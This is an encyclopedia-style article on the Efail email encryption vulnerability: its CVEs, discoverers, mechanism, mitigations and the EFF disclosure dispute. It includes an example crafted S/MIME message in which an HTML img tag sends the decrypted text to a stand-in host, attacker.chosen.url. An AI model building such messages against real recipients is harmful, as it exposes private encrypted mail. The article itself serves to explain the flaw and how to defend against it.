Efail, also written EFAIL, is a security hole in email systems with which content can be transmitted in encrypted form. This gap allows attackers to access the decrypted content of an email if it contains active content like HTML^[1] or JavaScript, or if loading of external content has been enabled in the client. Affected email clients include Gmail, Apple Mail, and Microsoft Outlook.^[1]

Two related Common Vulnerabilities and Exposures IDs, CVE-2017-17688 and CVE-2017-17689, have been issued. The security gap was made public on 13 May 2018 by Damian Poddebniak, Christian Dresen, Jens Müller, Fabian Ising, Sebastian Schinzel, Simon Friedberger, Juraj Somorovsky and Jörg Schwenk as part of a contribution to the 27th USENIX Security Symposium, Baltimore, August 2018.

As a result of the vulnerability, the content of an attacked encrypted email can be transmitted to the attacker in plain text by a vulnerable email client. The used encryption keys are not disclosed.

Description

The security gap concerns many common email programs when used with the email encryption systems OpenPGP and S/MIME. An attacker needs access to the attacked email message in its encrypted form, as well as the ability to send an email to at least one regular recipient of this original email. To exploit the security gap, the attacker modifies the encrypted email, causing the recipient's email program to send the decrypted content of the email to the attacker.

To access the decrypted content of an encrypted email, the attacker modifies the email to be attacked to contain text prepared by the attacker in a specific way. The attacker then sends the changed email to one of the regular recipients.

The attacker inserts additional text before and after the encrypted text in the encrypted email, thereby changing the message so that a multipart/mixed (MIME) message is created and the encrypted part of the message appears together with the limit marks of the MIME message as a parameter value of an HTML tag.

Example of a modified S/MIME mail:

[...]
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
Content-Type: text/html

<img src="http://attacker.chosen.url/
--BOUNDARY
Content-Type: application/pkcs7-mime;
  s-mime-typed-envelope-data
Content-Transfer-Encoding: base64

ENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGEENCRYPTEDMESSAGE
--BOUNDARY
Content-Type: text/html

">
--BOUNDARY
...

The email client first breaks down the multipart message into its individual parts using the --BOUNDARY tag and then decrypts the encrypted parts. It then reassembles the multipart message, and receives the message in this way:

[...]
Content-Type: multipart/mixed;boundary="BOUNDARY"
[...]
--BOUNDARY
Content-Type: text/html

<img src="http://attacker.chosen.url/
SECRETMESSAGESECRETMESSAGE">
--BOUNDARY
...

This message now contains the decrypted content of the email in the src= attribute of the <img> tag and is passed by the email program as URL to the web server attacker.chosen.url controlled by the attacker, when this content is requested. The attacker can now retrieve the content of the encrypted message from its web server logs.

In a variant of the attack, the attacker uses a vulnerability in the CBC (S/MIME) and CFB (OpenPGP) operating modes of the encryption algorithms used. This allows him to change the ciphertext by inserting gadgets. As a side effect of this manipulation, the originally contained plain text becomes illegible. If this was known, the attacker can correct this by inserting additional gadgets. The attacker can hide unknown plain text by inserting certain HTML tags. The result is a message with a similar structure as described above.

Mitigations

Since the vulnerability is directed against the content of the email and not against the recipient, it is necessary that all recipients implement the countermeasures. These include:

• Disable active content such as HTML or JavaScript when viewing emails.
• Suppress automatic reloading of external content, such as images.

To what extent even the senders of encrypted content can reduce the vulnerability, e.g. by electronic signatures or the limitation to a subset of MIME formats, has not yet been conclusively clarified.

Critique

Announcing the security vulnerability on 13 May 2018 the Electronic Frontier Foundation (EFF) recommended to stop using any PGP plugins in email programs even though the vulnerability does not directly relate to PGP but to the configuration of an email program.^[2][3] A coordinated publication was originally scheduled for the 15 May. The EFF was criticized for ignoring this by various parties.^{[4][5][6][7][8]}

As a consequence of this, Robert Hansen recommended to establish a closed group or mailing list to better coordinate the publication of future security issues. Still, he saw the EFF and its director Danny O'Brien as the best entity to administer such an "OpenPGP Disclosure Group".^[9]